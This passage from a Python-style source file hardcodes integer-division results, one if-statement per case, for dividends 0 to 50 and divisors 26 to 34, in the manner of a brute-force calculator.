firstNum == 15 and sign == "/" and secondNum == 26 : print("15 / 26 = 0") if firstNum == 16 and sign == "/" and secondNum == 26 : print("16 / 26 = 0") if firstNum == 17 and sign == "/" and secondNum == 26 : print("17 / 26 = 0") if firstNum == 18 and sign == "/" and secondNum == 26 : print("18 / 26 = 0") if firstNum == 19 and sign == "/" and secondNum == 26 : print("19 / 26 = 0") if firstNum == 20 and sign == "/" and secondNum == 26 : print("20 / 26 = 0") if firstNum == 21 and sign == "/" and secondNum == 26 : print("21 / 26 = 0") if firstNum == 22 and sign == "/" and secondNum == 26 : print("22 / 26 = 0") if firstNum == 23 and sign == "/" and secondNum == 26 : print("23 / 26 = 0") if firstNum == 24 and sign == "/" and secondNum == 26 : print("24 / 26 = 0") if firstNum == 25 and sign == "/" and secondNum == 26 : print("25 / 26 = 0") if firstNum == 26 and sign == "/" and secondNum == 26 : print("26 / 26 = 1") if firstNum == 27 and sign == "/" and secondNum == 26 : print("27 / 26 = 1") if firstNum == 28 and sign == "/" and secondNum == 26 : print("28 / 26 = 1") if firstNum == 29 and sign == "/" and secondNum == 26 : print("29 / 26 = 1") if firstNum == 30 and sign == "/" and secondNum == 26 : print("30 / 26 = 1") if firstNum == 31 and sign == "/" and secondNum == 26 : print("31 / 26 = 1") if firstNum == 32 and sign == "/" and secondNum == 26 : print("32 / 26 = 1") if firstNum == 33 and sign == "/" and secondNum == 26 : print("33 / 26 = 1") if firstNum == 34 and sign == "/" and secondNum == 26 : print("34 / 26 = 1") if firstNum == 35 and sign == "/" and secondNum == 26 : print("35 / 26 = 1") if firstNum == 36 and sign == "/" and secondNum == 26 : print("36 / 26 = 1") if firstNum == 37 and sign == "/" and secondNum == 26 : print("37 / 26 = 1") if firstNum == 38 and sign == "/" and secondNum == 26 : print("38 / 26 = 1") if firstNum == 39 and sign == "/" and secondNum == 26 : print("39 / 26 = 1") if firstNum == 40 and sign == "/" and secondNum == 26 : print("40 / 26 = 1") if firstNum == 41 and sign == "/" and secondNum == 26 : print("41 / 26 = 1") if firstNum == 42 and sign == "/" and secondNum == 26 : print("42 / 26 = 1") if firstNum == 43 and sign == "/" and secondNum == 26 : print("43 / 26 = 1") if firstNum == 44 and sign == "/" and secondNum == 26 : print("44 / 26 = 1") if firstNum == 45 and sign == "/" and secondNum == 26 : print("45 / 26 = 1") if firstNum == 46 and sign == "/" and secondNum == 26 : print("46 / 26 = 1") if firstNum == 47 and sign == "/" and secondNum == 26 : print("47 / 26 = 1") if firstNum == 48 and sign == "/" and secondNum == 26 : print("48 / 26 = 1") if firstNum == 49 and sign == "/" and secondNum == 26 : print("49 / 26 = 1") if firstNum == 50 and sign == "/" and secondNum == 26 : print("50 / 26 = 1") if firstNum == 0 and sign == "/" and secondNum == 27 : print("0 / 27 = 0") if firstNum == 1 and sign == "/" and secondNum == 27 : print("1 / 27 = 0") if firstNum == 2 and sign == "/" and secondNum == 27 : print("2 / 27 = 0") if firstNum == 3 and sign == "/" and secondNum == 27 : print("3 / 27 = 0") if firstNum == 4 and sign == "/" and secondNum == 27 : print("4 / 27 = 0") if firstNum == 5 and sign == "/" and secondNum == 27 : print("5 / 27 = 0") if firstNum == 6 and sign == "/" and secondNum == 27 : print("6 / 27 = 0") if firstNum == 7 and sign == "/" and secondNum == 27 : print("7 / 27 = 0") if firstNum == 8 and sign == "/" and secondNum == 27 : print("8 / 27 = 0") if firstNum == 9 and sign == "/" and secondNum == 27 : print("9 / 27 = 0") if firstNum == 10 and sign == "/" and secondNum == 27 : print("10 / 27 = 0") if firstNum == 11 and sign == "/" and secondNum == 27 : print("11 / 27 = 0") if firstNum == 12 and sign == "/" and secondNum == 27 : print("12 / 27 = 0") if firstNum == 13 and sign == "/" and secondNum == 27 : print("13 / 27 = 0") if firstNum == 14 and sign == "/" and secondNum == 27 : print("14 / 27 = 0") if firstNum == 15 and sign == "/" and secondNum == 27 : print("15 / 27 = 0") if firstNum == 16 and sign == "/" and secondNum == 27 : print("16 / 27 = 0") if firstNum == 17 and sign == "/" and secondNum == 27 : print("17 / 27 = 0") if firstNum == 18 and sign == "/" and secondNum == 27 : print("18 / 27 = 0") if firstNum == 19 and sign == "/" and secondNum == 27 : print("19 / 27 = 0") if firstNum == 20 and sign == "/" and secondNum == 27 : print("20 / 27 = 0") if firstNum == 21 and sign == "/" and secondNum == 27 : print("21 / 27 = 0") if firstNum == 22 and sign == "/" and secondNum == 27 : print("22 / 27 = 0") if firstNum == 23 and sign == "/" and secondNum == 27 : print("23 / 27 = 0") if firstNum == 24 and sign == "/" and secondNum == 27 : print("24 / 27 = 0") if firstNum == 25 and sign == "/" and secondNum == 27 : print("25 / 27 = 0") if firstNum == 26 and sign == "/" and secondNum == 27 : print("26 / 27 = 0") if firstNum == 27 and sign == "/" and secondNum == 27 : print("27 / 27 = 1") if firstNum == 28 and sign == "/" and secondNum == 27 : print("28 / 27 = 1") if firstNum == 29 and sign == "/" and secondNum == 27 : print("29 / 27 = 1") if firstNum == 30 and sign == "/" and secondNum == 27 : print("30 / 27 = 1") if firstNum == 31 and sign == "/" and secondNum == 27 : print("31 / 27 = 1") if firstNum == 32 and sign == "/" and secondNum == 27 : print("32 / 27 = 1") if firstNum == 33 and sign == "/" and secondNum == 27 : print("33 / 27 = 1") if firstNum == 34 and sign == "/" and secondNum == 27 : print("34 / 27 = 1") if firstNum == 35 and sign == "/" and secondNum == 27 : print("35 / 27 = 1") if firstNum == 36 and sign == "/" and secondNum == 27 : print("36 / 27 = 1") if firstNum == 37 and sign == "/" and secondNum == 27 : print("37 / 27 = 1") if firstNum == 38 and sign == "/" and secondNum == 27 : print("38 / 27 = 1") if firstNum == 39 and sign == "/" and secondNum == 27 : print("39 / 27 = 1") if firstNum == 40 and sign == "/" and secondNum == 27 : print("40 / 27 = 1") if firstNum == 41 and sign == "/" and secondNum == 27 : print("41 / 27 = 1") if firstNum == 42 and sign == "/" and secondNum == 27 : print("42 / 27 = 1") if firstNum == 43 and sign == "/" and secondNum == 27 : print("43 / 27 = 1") if firstNum == 44 and sign == "/" and secondNum == 27 : print("44 / 27 = 1") if firstNum == 45 and sign == "/" and secondNum == 27 : print("45 / 27 = 1") if firstNum == 46 and sign == "/" and secondNum == 27 : print("46 / 27 = 1") if firstNum == 47 and sign == "/" and secondNum == 27 : print("47 / 27 = 1") if firstNum == 48 and sign == "/" and secondNum == 27 : print("48 / 27 = 1") if firstNum == 49 and sign == "/" and secondNum == 27 : print("49 / 27 = 1") if firstNum == 50 and sign == "/" and secondNum == 27 : print("50 / 27 = 1") if firstNum == 0 and sign == "/" and secondNum == 28 : print("0 / 28 = 0") if firstNum == 1 and sign == "/" and secondNum == 28 : print("1 / 28 = 0") if firstNum == 2 and sign == "/" and secondNum == 28 : print("2 / 28 = 0") if firstNum == 3 and sign == "/" and secondNum == 28 : print("3 / 28 = 0") if firstNum == 4 and sign == "/" and secondNum == 28 : print("4 / 28 = 0") if firstNum == 5 and sign == "/" and secondNum == 28 : print("5 / 28 = 0") if firstNum == 6 and sign == "/" and secondNum == 28 : print("6 / 28 = 0") if firstNum == 7 and sign == "/" and secondNum == 28 : print("7 / 28 = 0") if firstNum == 8 and sign == "/" and secondNum == 28 : print("8 / 28 = 0") if firstNum == 9 and sign == "/" and secondNum == 28 : print("9 / 28 = 0") if firstNum == 10 and sign == "/" and secondNum == 28 : print("10 / 28 = 0") if firstNum == 11 and sign == "/" and secondNum == 28 : print("11 / 28 = 0") if firstNum == 12 and sign == "/" and secondNum == 28 : print("12 / 28 = 0") if firstNum == 13 and sign == "/" and secondNum == 28 : print("13 / 28 = 0") if firstNum == 14 and sign == "/" and secondNum == 28 : print("14 / 28 = 0") if firstNum == 15 and sign == "/" and secondNum == 28 : print("15 / 28 = 0") if firstNum == 16 and sign == "/" and secondNum == 28 : print("16 / 28 = 0") if firstNum == 17 and sign == "/" and secondNum == 28 : print("17 / 28 = 0") if firstNum == 18 and sign == "/" and secondNum == 28 : print("18 / 28 = 0") if firstNum == 19 and sign == "/" and secondNum == 28 : print("19 / 28 = 0") if firstNum == 20 and sign == "/" and secondNum == 28 : print("20 / 28 = 0") if firstNum == 21 and sign == "/" and secondNum == 28 : print("21 / 28 = 0") if firstNum == 22 and sign == "/" and secondNum == 28 : print("22 / 28 = 0") if firstNum == 23 and sign == "/" and secondNum == 28 : print("23 / 28 = 0") if firstNum == 24 and sign == "/" and secondNum == 28 : print("24 / 28 = 0") if firstNum == 25 and sign == "/" and secondNum == 28 : print("25 / 28 = 0") if firstNum == 26 and sign == "/" and secondNum == 28 : print("26 / 28 = 0") if firstNum == 27 and sign == "/" and secondNum == 28 : print("27 / 28 = 0") if firstNum == 28 and sign == "/" and secondNum == 28 : print("28 / 28 = 1") if firstNum == 29 and sign == "/" and secondNum == 28 : print("29 / 28 = 1") if firstNum == 30 and sign == "/" and secondNum == 28 : print("30 / 28 = 1") if firstNum == 31 and sign == "/" and secondNum == 28 : print("31 / 28 = 1") if firstNum == 32 and sign == "/" and secondNum == 28 : print("32 / 28 = 1") if firstNum == 33 and sign == "/" and secondNum == 28 : print("33 / 28 = 1") if firstNum == 34 and sign == "/" and secondNum == 28 : print("34 / 28 = 1") if firstNum == 35 and sign == "/" and secondNum == 28 : print("35 / 28 = 1") if firstNum == 36 and sign == "/" and secondNum == 28 : print("36 / 28 = 1") if firstNum == 37 and sign == "/" and secondNum == 28 : print("37 / 28 = 1") if firstNum == 38 and sign == "/" and secondNum == 28 : print("38 / 28 = 1") if firstNum == 39 and sign == "/" and secondNum == 28 : print("39 / 28 = 1") if firstNum == 40 and sign == "/" and secondNum == 28 : print("40 / 28 = 1") if firstNum == 41 and sign == "/" and secondNum == 28 : print("41 / 28 = 1") if firstNum == 42 and sign == "/" and secondNum == 28 : print("42 / 28 = 1") if firstNum == 43 and sign == "/" and secondNum == 28 : print("43 / 28 = 1") if firstNum == 44 and sign == "/" and secondNum == 28 : print("44 / 28 = 1") if firstNum == 45 and sign == "/" and secondNum == 28 : print("45 / 28 = 1") if firstNum == 46 and sign == "/" and secondNum == 28 : print("46 / 28 = 1") if firstNum == 47 and sign == "/" and secondNum == 28 : print("47 / 28 = 1") if firstNum == 48 and sign == "/" and secondNum == 28 : print("48 / 28 = 1") if firstNum == 49 and sign == "/" and secondNum == 28 : print("49 / 28 = 1") if firstNum == 50 and sign == "/" and secondNum == 28 : print("50 / 28 = 1") if firstNum == 0 and sign == "/" and secondNum == 29 : print("0 / 29 = 0") if firstNum == 1 and sign == "/" and secondNum == 29 : print("1 / 29 = 0") if firstNum == 2 and sign == "/" and secondNum == 29 : print("2 / 29 = 0") if firstNum == 3 and sign == "/" and secondNum == 29 : print("3 / 29 = 0") if firstNum == 4 and sign == "/" and secondNum == 29 : print("4 / 29 = 0") if firstNum == 5 and sign == "/" and secondNum == 29 : print("5 / 29 = 0") if firstNum == 6 and sign == "/" and secondNum == 29 : print("6 / 29 = 0") if firstNum == 7 and sign == "/" and secondNum == 29 : print("7 / 29 = 0") if firstNum == 8 and sign == "/" and secondNum == 29 : print("8 / 29 = 0") if firstNum == 9 and sign == "/" and secondNum == 29 : print("9 / 29 = 0") if firstNum == 10 and sign == "/" and secondNum == 29 : print("10 / 29 = 0") if firstNum == 11 and sign == "/" and secondNum == 29 : print("11 / 29 = 0") if firstNum == 12 and sign == "/" and secondNum == 29 : print("12 / 29 = 0") if firstNum == 13 and sign == "/" and secondNum == 29 : print("13 / 29 = 0") if firstNum == 14 and sign == "/" and secondNum == 29 : print("14 / 29 = 0") if firstNum == 15 and sign == "/" and secondNum == 29 : print("15 / 29 = 0") if firstNum == 16 and sign == "/" and secondNum == 29 : print("16 / 29 = 0") if firstNum == 17 and sign == "/" and secondNum == 29 : print("17 / 29 = 0") if firstNum == 18 and sign == "/" and secondNum == 29 : print("18 / 29 = 0") if firstNum == 19 and sign == "/" and secondNum == 29 : print("19 / 29 = 0") if firstNum == 20 and sign == "/" and secondNum == 29 : print("20 / 29 = 0") if firstNum == 21 and sign == "/" and secondNum == 29 : print("21 / 29 = 0") if firstNum == 22 and sign == "/" and secondNum == 29 : print("22 / 29 = 0") if firstNum == 23 and sign == "/" and secondNum == 29 : print("23 / 29 = 0") if firstNum == 24 and sign == "/" and secondNum == 29 : print("24 / 29 = 0") if firstNum == 25 and sign == "/" and secondNum == 29 : print("25 / 29 = 0") if firstNum == 26 and sign == "/" and secondNum == 29 : print("26 / 29 = 0") if firstNum == 27 and sign == "/" and secondNum == 29 : print("27 / 29 = 0") if firstNum == 28 and sign == "/" and secondNum == 29 : print("28 / 29 = 0") if firstNum == 29 and sign == "/" and secondNum == 29 : print("29 / 29 = 1") if firstNum == 30 and sign == "/" and secondNum == 29 : print("30 / 29 = 1") if firstNum == 31 and sign == "/" and secondNum == 29 : print("31 / 29 = 1") if firstNum == 32 and sign == "/" and secondNum == 29 : print("32 / 29 = 1") if firstNum == 33 and sign == "/" and secondNum == 29 : print("33 / 29 = 1") if firstNum == 34 and sign == "/" and secondNum == 29 : print("34 / 29 = 1") if firstNum == 35 and sign == "/" and secondNum == 29 : print("35 / 29 = 1") if firstNum == 36 and sign == "/" and secondNum == 29 : print("36 / 29 = 1") if firstNum == 37 and sign == "/" and secondNum == 29 : print("37 / 29 = 1") if firstNum == 38 and sign == "/" and secondNum == 29 : print("38 / 29 = 1") if firstNum == 39 and sign == "/" and secondNum == 29 : print("39 / 29 = 1") if firstNum == 40 and sign == "/" and secondNum == 29 : print("40 / 29 = 1") if firstNum == 41 and sign == "/" and secondNum == 29 : print("41 / 29 = 1") if firstNum == 42 and sign == "/" and secondNum == 29 : print("42 / 29 = 1") if firstNum == 43 and sign == "/" and secondNum == 29 : print("43 / 29 = 1") if firstNum == 44 and sign == "/" and secondNum == 29 : print("44 / 29 = 1") if firstNum == 45 and sign == "/" and secondNum == 29 : print("45 / 29 = 1") if firstNum == 46 and sign == "/" and secondNum == 29 : print("46 / 29 = 1") if firstNum == 47 and sign == "/" and secondNum == 29 : print("47 / 29 = 1") if firstNum == 48 and sign == "/" and secondNum == 29 : print("48 / 29 = 1") if firstNum == 49 and sign == "/" and secondNum == 29 : print("49 / 29 = 1") if firstNum == 50 and sign == "/" and secondNum == 29 : print("50 / 29 = 1") if firstNum == 0 and sign == "/" and secondNum == 30 : print("0 / 30 = 0") if firstNum == 1 and sign == "/" and secondNum == 30 : print("1 / 30 = 0") if firstNum == 2 and sign == "/" and secondNum == 30 : print("2 / 30 = 0") if firstNum == 3 and sign == "/" and secondNum == 30 : print("3 / 30 = 0") if firstNum == 4 and sign == "/" and secondNum == 30 : print("4 / 30 = 0") if firstNum == 5 and sign == "/" and secondNum == 30 : print("5 / 30 = 0") if firstNum == 6 and sign == "/" and secondNum == 30 : print("6 / 30 = 0") if firstNum == 7 and sign == "/" and secondNum == 30 : print("7 / 30 = 0") if firstNum == 8 and sign == "/" and secondNum == 30 : print("8 / 30 = 0") if firstNum == 9 and sign == "/" and secondNum == 30 : print("9 / 30 = 0") if firstNum == 10 and sign == "/" and secondNum == 30 : print("10 / 30 = 0") if firstNum == 11 and sign == "/" and secondNum == 30 : print("11 / 30 = 0") if firstNum == 12 and sign == "/" and secondNum == 30 : print("12 / 30 = 0") if firstNum == 13 and sign == "/" and secondNum == 30 : print("13 / 30 = 0") if firstNum == 14 and sign == "/" and secondNum == 30 : print("14 / 30 = 0") if firstNum == 15 and sign == "/" and secondNum == 30 : print("15 / 30 = 0") if firstNum == 16 and sign == "/" and secondNum == 30 : print("16 / 30 = 0") if firstNum == 17 and sign == "/" and secondNum == 30 : print("17 / 30 = 0") if firstNum == 18 and sign == "/" and secondNum == 30 : print("18 / 30 = 0") if firstNum == 19 and sign == "/" and secondNum == 30 : print("19 / 30 = 0") if firstNum == 20 and sign == "/" and secondNum == 30 : print("20 / 30 = 0") if firstNum == 21 and sign == "/" and secondNum == 30 : print("21 / 30 = 0") if firstNum == 22 and sign == "/" and secondNum == 30 : print("22 / 30 = 0") if firstNum == 23 and sign == "/" and secondNum == 30 : print("23 / 30 = 0") if firstNum == 24 and sign == "/" and secondNum == 30 : print("24 / 30 = 0") if firstNum == 25 and sign == "/" and secondNum == 30 : print("25 / 30 = 0") if firstNum == 26 and sign == "/" and secondNum == 30 : print("26 / 30 = 0") if firstNum == 27 and sign == "/" and secondNum == 30 : print("27 / 30 = 0") if firstNum == 28 and sign == "/" and secondNum == 30 : print("28 / 30 = 0") if firstNum == 29 and sign == "/" and secondNum == 30 : print("29 / 30 = 0") if firstNum == 30 and sign == "/" and secondNum == 30 : print("30 / 30 = 1") if firstNum == 31 and sign == "/" and secondNum == 30 : print("31 / 30 = 1") if firstNum == 32 and sign == "/" and secondNum == 30 : print("32 / 30 = 1") if firstNum == 33 and sign == "/" and secondNum == 30 : print("33 / 30 = 1") if firstNum == 34 and sign == "/" and secondNum == 30 : print("34 / 30 = 1") if firstNum == 35 and sign == "/" and secondNum == 30 : print("35 / 30 = 1") if firstNum == 36 and sign == "/" and secondNum == 30 : print("36 / 30 = 1") if firstNum == 37 and sign == "/" and secondNum == 30 : print("37 / 30 = 1") if firstNum == 38 and sign == "/" and secondNum == 30 : print("38 / 30 = 1") if firstNum == 39 and sign == "/" and secondNum == 30 : print("39 / 30 = 1") if firstNum == 40 and sign == "/" and secondNum == 30 : print("40 / 30 = 1") if firstNum == 41 and sign == "/" and secondNum == 30 : print("41 / 30 = 1") if firstNum == 42 and sign == "/" and secondNum == 30 : print("42 / 30 = 1") if firstNum == 43 and sign == "/" and secondNum == 30 : print("43 / 30 = 1") if firstNum == 44 and sign == "/" and secondNum == 30 : print("44 / 30 = 1") if firstNum == 45 and sign == "/" and secondNum == 30 : print("45 / 30 = 1") if firstNum == 46 and sign == "/" and secondNum == 30 : print("46 / 30 = 1") if firstNum == 47 and sign == "/" and secondNum == 30 : print("47 / 30 = 1") if firstNum == 48 and sign == "/" and secondNum == 30 : print("48 / 30 = 1") if firstNum == 49 and sign == "/" and secondNum == 30 : print("49 / 30 = 1") if firstNum == 50 and sign == "/" and secondNum == 30 : print("50 / 30 = 1") if firstNum == 0 and sign == "/" and secondNum == 31 : print("0 / 31 = 0") if firstNum == 1 and sign == "/" and secondNum == 31 : print("1 / 31 = 0") if firstNum == 2 and sign == "/" and secondNum == 31 : print("2 / 31 = 0") if firstNum == 3 and sign == "/" and secondNum == 31 : print("3 / 31 = 0") if firstNum == 4 and sign == "/" and secondNum == 31 : print("4 / 31 = 0") if firstNum == 5 and sign == "/" and secondNum == 31 : print("5 / 31 = 0") if firstNum == 6 and sign == "/" and secondNum == 31 : print("6 / 31 = 0") if firstNum == 7 and sign == "/" and secondNum == 31 : print("7 / 31 = 0") if firstNum == 8 and sign == "/" and secondNum == 31 : print("8 / 31 = 0") if firstNum == 9 and sign == "/" and secondNum == 31 : print("9 / 31 = 0") if firstNum == 10 and sign == "/" and secondNum == 31 : print("10 / 31 = 0") if firstNum == 11 and sign == "/" and secondNum == 31 : print("11 / 31 = 0") if firstNum == 12 and sign == "/" and secondNum == 31 : print("12 / 31 = 0") if firstNum == 13 and sign == "/" and secondNum == 31 : print("13 / 31 = 0") if firstNum == 14 and sign == "/" and secondNum == 31 : print("14 / 31 = 0") if firstNum == 15 and sign == "/" and secondNum == 31 : print("15 / 31 = 0") if firstNum == 16 and sign == "/" and secondNum == 31 : print("16 / 31 = 0") if firstNum == 17 and sign == "/" and secondNum == 31 : print("17 / 31 = 0") if firstNum == 18 and sign == "/" and secondNum == 31 : print("18 / 31 = 0") if firstNum == 19 and sign == "/" and secondNum == 31 : print("19 / 31 = 0") if firstNum == 20 and sign == "/" and secondNum == 31 : print("20 / 31 = 0") if firstNum == 21 and sign == "/" and secondNum == 31 : print("21 / 31 = 0") if firstNum == 22 and sign == "/" and secondNum == 31 : print("22 / 31 = 0") if firstNum == 23 and sign == "/" and secondNum == 31 : print("23 / 31 = 0") if firstNum == 24 and sign == "/" and secondNum == 31 : print("24 / 31 = 0") if firstNum == 25 and sign == "/" and secondNum == 31 : print("25 / 31 = 0") if firstNum == 26 and sign == "/" and secondNum == 31 : print("26 / 31 = 0") if firstNum == 27 and sign == "/" and secondNum == 31 : print("27 / 31 = 0") if firstNum == 28 and sign == "/" and secondNum == 31 : print("28 / 31 = 0") if firstNum == 29 and sign == "/" and secondNum == 31 : print("29 / 31 = 0") if firstNum == 30 and sign == "/" and secondNum == 31 : print("30 / 31 = 0") if firstNum == 31 and sign == "/" and secondNum == 31 : print("31 / 31 = 1") if firstNum == 32 and sign == "/" and secondNum == 31 : print("32 / 31 = 1") if firstNum == 33 and sign == "/" and secondNum == 31 : print("33 / 31 = 1") if firstNum == 34 and sign == "/" and secondNum == 31 : print("34 / 31 = 1") if firstNum == 35 and sign == "/" and secondNum == 31 : print("35 / 31 = 1") if firstNum == 36 and sign == "/" and secondNum == 31 : print("36 / 31 = 1") if firstNum == 37 and sign == "/" and secondNum == 31 : print("37 / 31 = 1") if firstNum == 38 and sign == "/" and secondNum == 31 : print("38 / 31 = 1") if firstNum == 39 and sign == "/" and secondNum == 31 : print("39 / 31 = 1") if firstNum == 40 and sign == "/" and secondNum == 31 : print("40 / 31 = 1") if firstNum == 41 and sign == "/" and secondNum == 31 : print("41 / 31 = 1") if firstNum == 42 and sign == "/" and secondNum == 31 : print("42 / 31 = 1") if firstNum == 43 and sign == "/" and secondNum == 31 : print("43 / 31 = 1") if firstNum == 44 and sign == "/" and secondNum == 31 : print("44 / 31 = 1") if firstNum == 45 and sign == "/" and secondNum == 31 : print("45 / 31 = 1") if firstNum == 46 and sign == "/" and secondNum == 31 : print("46 / 31 = 1") if firstNum == 47 and sign == "/" and secondNum == 31 : print("47 / 31 = 1") if firstNum == 48 and sign == "/" and secondNum == 31 : print("48 / 31 = 1") if firstNum == 49 and sign == "/" and secondNum == 31 : print("49 / 31 = 1") if firstNum == 50 and sign == "/" and secondNum == 31 : print("50 / 31 = 1") if firstNum == 0 and sign == "/" and secondNum == 32 : print("0 / 32 = 0") if firstNum == 1 and sign == "/" and secondNum == 32 : print("1 / 32 = 0") if firstNum == 2 and sign == "/" and secondNum == 32 : print("2 / 32 = 0") if firstNum == 3 and sign == "/" and secondNum == 32 : print("3 / 32 = 0") if firstNum == 4 and sign == "/" and secondNum == 32 : print("4 / 32 = 0") if firstNum == 5 and sign == "/" and secondNum == 32 : print("5 / 32 = 0") if firstNum == 6 and sign == "/" and secondNum == 32 : print("6 / 32 = 0") if firstNum == 7 and sign == "/" and secondNum == 32 : print("7 / 32 = 0") if firstNum == 8 and sign == "/" and secondNum == 32 : print("8 / 32 = 0") if firstNum == 9 and sign == "/" and secondNum == 32 : print("9 / 32 = 0") if firstNum == 10 and sign == "/" and secondNum == 32 : print("10 / 32 = 0") if firstNum == 11 and sign == "/" and secondNum == 32 : print("11 / 32 = 0") if firstNum == 12 and sign == "/" and secondNum == 32 : print("12 / 32 = 0") if firstNum == 13 and sign == "/" and secondNum == 32 : print("13 / 32 = 0") if firstNum == 14 and sign == "/" and secondNum == 32 : print("14 / 32 = 0") if firstNum == 15 and sign == "/" and secondNum == 32 : print("15 / 32 = 0") if firstNum == 16 and sign == "/" and secondNum == 32 : print("16 / 32 = 0") if firstNum == 17 and sign == "/" and secondNum == 32 : print("17 / 32 = 0") if firstNum == 18 and sign == "/" and secondNum == 32 : print("18 / 32 = 0") if firstNum == 19 and sign == "/" and secondNum == 32 : print("19 / 32 = 0") if firstNum == 20 and sign == "/" and secondNum == 32 : print("20 / 32 = 0") if firstNum == 21 and sign == "/" and secondNum == 32 : print("21 / 32 = 0") if firstNum == 22 and sign == "/" and secondNum == 32 : print("22 / 32 = 0") if firstNum == 23 and sign == "/" and secondNum == 32 : print("23 / 32 = 0") if firstNum == 24 and sign == "/" and secondNum == 32 : print("24 / 32 = 0") if firstNum == 25 and sign == "/" and secondNum == 32 : print("25 / 32 = 0") if firstNum == 26 and sign == "/" and secondNum == 32 : print("26 / 32 = 0") if firstNum == 27 and sign == "/" and secondNum == 32 : print("27 / 32 = 0") if firstNum == 28 and sign == "/" and secondNum == 32 : print("28 / 32 = 0") if firstNum == 29 and sign == "/" and secondNum == 32 : print("29 / 32 = 0") if firstNum == 30 and sign == "/" and secondNum == 32 : print("30 / 32 = 0") if firstNum == 31 and sign == "/" and secondNum == 32 : print("31 / 32 = 0") if firstNum == 32 and sign == "/" and secondNum == 32 : print("32 / 32 = 1") if firstNum == 33 and sign == "/" and secondNum == 32 : print("33 / 32 = 1") if firstNum == 34 and sign == "/" and secondNum == 32 : print("34 / 32 = 1") if firstNum == 35 and sign == "/" and secondNum == 32 : print("35 / 32 = 1") if firstNum == 36 and sign == "/" and secondNum == 32 : print("36 / 32 = 1") if firstNum == 37 and sign == "/" and secondNum == 32 : print("37 / 32 = 1") if firstNum == 38 and sign == "/" and secondNum == 32 : print("38 / 32 = 1") if firstNum == 39 and sign == "/" and secondNum == 32 : print("39 / 32 = 1") if firstNum == 40 and sign == "/" and secondNum == 32 : print("40 / 32 = 1") if firstNum == 41 and sign == "/" and secondNum == 32 : print("41 / 32 = 1") if firstNum == 42 and sign == "/" and secondNum == 32 : print("42 / 32 = 1") if firstNum == 43 and sign == "/" and secondNum == 32 : print("43 / 32 = 1") if firstNum == 44 and sign == "/" and secondNum == 32 : print("44 / 32 = 1") if firstNum == 45 and sign == "/" and secondNum == 32 : print("45 / 32 = 1") if firstNum == 46 and sign == "/" and secondNum == 32 : print("46 / 32 = 1") if firstNum == 47 and sign == "/" and secondNum == 32 : print("47 / 32 = 1") if firstNum == 48 and sign == "/" and secondNum == 32 : print("48 / 32 = 1") if firstNum == 49 and sign == "/" and secondNum == 32 : print("49 / 32 = 1") if firstNum == 50 and sign == "/" and secondNum == 32 : print("50 / 32 = 1") if firstNum == 0 and sign == "/" and secondNum == 33 : print("0 / 33 = 0") if firstNum == 1 and sign == "/" and secondNum == 33 : print("1 / 33 = 0") if firstNum == 2 and sign == "/" and secondNum == 33 : print("2 / 33 = 0") if firstNum == 3 and sign == "/" and secondNum == 33 : print("3 / 33 = 0") if firstNum == 4 and sign == "/" and secondNum == 33 : print("4 / 33 = 0") if firstNum == 5 and sign == "/" and secondNum == 33 : print("5 / 33 = 0") if firstNum == 6 and sign == "/" and secondNum == 33 : print("6 / 33 = 0") if firstNum == 7 and sign == "/" and secondNum == 33 : print("7 / 33 = 0") if firstNum == 8 and sign == "/" and secondNum == 33 : print("8 / 33 = 0") if firstNum == 9 and sign == "/" and secondNum == 33 : print("9 / 33 = 0") if firstNum == 10 and sign == "/" and secondNum == 33 : print("10 / 33 = 0") if firstNum == 11 and sign == "/" and secondNum == 33 : print("11 / 33 = 0") if firstNum == 12 and sign == "/" and secondNum == 33 : print("12 / 33 = 0") if firstNum == 13 and sign == "/" and secondNum == 33 : print("13 / 33 = 0") if firstNum == 14 and sign == "/" and secondNum == 33 : print("14 / 33 = 0") if firstNum == 15 and sign == "/" and secondNum == 33 : print("15 / 33 = 0") if firstNum == 16 and sign == "/" and secondNum == 33 : print("16 / 33 = 0") if firstNum == 17 and sign == "/" and secondNum == 33 : print("17 / 33 = 0") if firstNum == 18 and sign == "/" and secondNum == 33 : print("18 / 33 = 0") if firstNum == 19 and sign == "/" and secondNum == 33 : print("19 / 33 = 0") if firstNum == 20 and sign == "/" and secondNum == 33 : print("20 / 33 = 0") if firstNum == 21 and sign == "/" and secondNum == 33 : print("21 / 33 = 0") if firstNum == 22 and sign == "/" and secondNum == 33 : print("22 / 33 = 0") if firstNum == 23 and sign == "/" and secondNum == 33 : print("23 / 33 = 0") if firstNum == 24 and sign == "/" and secondNum == 33 : print("24 / 33 = 0") if firstNum == 25 and sign == "/" and secondNum == 33 : print("25 / 33 = 0") if firstNum == 26 and sign == "/" and secondNum == 33 : print("26 / 33 = 0") if firstNum == 27 and sign == "/" and secondNum == 33 : print("27 / 33 = 0") if firstNum == 28 and sign == "/" and secondNum == 33 : print("28 / 33 = 0") if firstNum == 29 and sign == "/" and secondNum == 33 : print("29 / 33 = 0") if firstNum == 30 and sign == "/" and secondNum == 33 : print("30 / 33 = 0") if firstNum == 31 and sign == "/" and secondNum == 33 : print("31 / 33 = 0") if firstNum == 32 and sign == "/" and secondNum == 33 : print("32 / 33 = 0") if firstNum == 33 and sign == "/" and secondNum == 33 : print("33 / 33 = 1") if firstNum == 34 and sign == "/" and secondNum == 33 : print("34 / 33 = 1") if firstNum == 35 and sign == "/" and secondNum == 33 : print("35 / 33 = 1") if firstNum == 36 and sign == "/" and secondNum == 33 : print("36 / 33 = 1") if firstNum == 37 and sign == "/" and secondNum == 33 : print("37 / 33 = 1") if firstNum == 38 and sign == "/" and secondNum == 33 : print("38 / 33 = 1") if firstNum == 39 and sign == "/" and secondNum == 33 : print("39 / 33 = 1") if firstNum == 40 and sign == "/" and secondNum == 33 : print("40 / 33 = 1") if firstNum == 41 and sign == "/" and secondNum == 33 : print("41 / 33 = 1") if firstNum == 42 and sign == "/" and secondNum == 33 : print("42 / 33 = 1") if firstNum == 43 and sign == "/" and secondNum == 33 : print("43 / 33 = 1") if firstNum == 44 and sign == "/" and secondNum == 33 : print("44 / 33 = 1") if firstNum == 45 and sign == "/" and secondNum == 33 : print("45 / 33 = 1") if firstNum == 46 and sign == "/" and secondNum == 33 : print("46 / 33 = 1") if firstNum == 47 and sign == "/" and secondNum == 33 : print("47 / 33 = 1") if firstNum == 48 and sign == "/" and secondNum == 33 : print("48 / 33 = 1") if firstNum == 49 and sign == "/" and secondNum == 33 : print("49 / 33 = 1") if firstNum == 50 and sign == "/" and secondNum == 33 : print("50 / 33 = 1") if firstNum == 0 and sign == "/" and secondNum == 34 : print("0 / 34 = 0") if firstNum == 1 and sign == "/" and secondNum == 34 : 